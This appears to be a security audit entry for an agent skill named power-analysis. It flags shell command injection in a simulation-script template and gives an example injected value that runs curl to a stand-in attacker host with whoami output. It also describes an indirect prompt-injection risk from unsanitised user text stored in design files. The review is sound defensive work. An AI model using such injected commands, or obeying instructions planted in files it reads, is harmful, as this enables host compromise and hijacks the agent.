The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses a template for executing a local Python script that incorporates user-provided parameters directly into a shell command.
Evidence: The <power_cmd> binding in SKILL.md is defined as python3 <skill_dir>/tools/power_sim.py --design <two-sample-mean|two-proportion> --effect <e> [--sd <sd> | --baseline <p0>] --alpha <alpha> --n <n_per_group>.
Risk: If the agent fails to strictly validate that inputs for <e>, <sd>, <alpha>, and <n_per_group> are numeric, a malicious user could provide strings containing shell metacharacters (e.g., 0.5; curl http://attacker.com/$(whoami)) to achieve arbitrary command execution on the host.
[PROMPT_INJECTION]: The skill ingests untrusted user input and incorporates it into documents that are later processed by the agent, creating a surface for indirect prompt injection.
Ingestion points: The agent prompts the user for a <hypothesis> and <outcome> description, which are stored in loop.run.yaml and design.md (as seen in the Setup and Loop sections of SKILL.md).
Boundary markers: Absent. The instructions do not define any delimiters or provide "ignore embedded instructions" warnings for the user-supplied content used in the design documents.
Capability inventory: The agent has the capability to write files (design.md, ledger.tsv, loop.run.yaml) and execute shell commands via the simulation tool.
Sanitization: Absent. There is no instruction to validate, escape, or filter the user input before it is written to the file system or used in command construction.

power-analysis